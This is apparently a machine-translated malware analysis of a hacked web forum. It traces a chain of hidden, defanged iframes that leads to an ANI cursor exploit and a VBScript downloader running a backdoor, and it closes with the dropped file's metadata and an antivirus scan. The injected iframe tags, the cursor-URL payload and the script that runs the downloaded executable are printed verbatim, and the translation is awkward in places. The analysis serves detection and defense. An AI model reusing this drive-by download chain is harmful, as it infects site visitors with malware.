An easy-to-use Forum was implanted to spread the backdoor. win32.agent. ahj code using the ani vulnerability.

EndurerOriginal
1Version

The implanted code is:
/---
<IFRAME src = hxxp: // www. y * XG ** M7 ***** 8.com/y*x.htm width = 0 Height = 0> </iframe>
---/

Hxxp: // www. y * XG ** M7 *** 8.com/y*x.htmCode included:
/---
<IFRAME src = "hxxp: // L ***** l ** 8 ** 0.com/x?#x/x=#x.htm" width = 1 Height = 1> </iframe>
---/

Hxxp: // L ***** l ** 8 ** 0.com/x?#x/x=#x.htmCode included:
/---
<IFRAME src = "hxxp: // L ***** l ** 8 ** 0.com/x?#x/x=?x=#1.htm" width = 100 Height = 1> </iframe>
<IFRAME src = "hxxp: // L ***** l ** 8 ** 0.com/x?#x/x=*x=*2.htm" width = 100 Height = 1> </iframe>
---/

Hxxp: // L ***** l ** 8 ** 0.com/x00000000x/x00000000x000000001.htmCode included:
/---
<Div style = "cursor: URL ('hxxp: // L ***** L * 8 **** 0.com/x?#x/xx2.jpg')">

Attackers can exploit the ani vulnerability to download the file xx.exe through xx2.jpg.

Hxxp: // L ***** l ** 8 ** 0.com/x00000000x/x00000000x000000002.htmIs divided into two parts.
The first part is the VBScript code. The function is to use Microsoft. XMLHTTP and SCR using pting. FileSystemObject to download the file xx.exe and save it as C:/xiaogang.exe. Then, the created content is
/---
Set shell = Createobject ("wscript. Shell ")
Shell. Run ("C:/xiaogang.exe ")
Set shell = nothing
---/
File Xiaogang. vbs.
Run xiaogang.vbs through the ShellExecute method of the shell. Application Object Zhong and run xiaogang.exe.

The second part is the JScript code: Output confusing information:
/---
Hello, the page you are visiting is loading... please wait ....
---/

File Description: D:/test/xx.exe
Attribute: ---
Language: English (USA)
File version:
Note:
Copyright: (c) Microsoft Corporation. All rights reserved.
Note:
Product Version:
Product Name: Microsoft (r) Windows (r) Operating System
Company Name: Microsoft Corporation
Legal trademark:
Internal Name:
Source File Name:
Creation Time:
Modification time:
Access time:
Size: 17436 bytes, 17.28 KB
MD5: 86ac4df3630f76bbfb5265746d52ea3

 

Scanned file: xx.exe-infected

 

Xx.exe-infected by backdoor. win32.agent. ahj

Statistics:

Known viruses:	299444	Updated:	19-04-2007
File size (Kb ):	18	Virus bodies:	1
Files:	1	Warnings:	0
Archives:	0	Suspicious:	0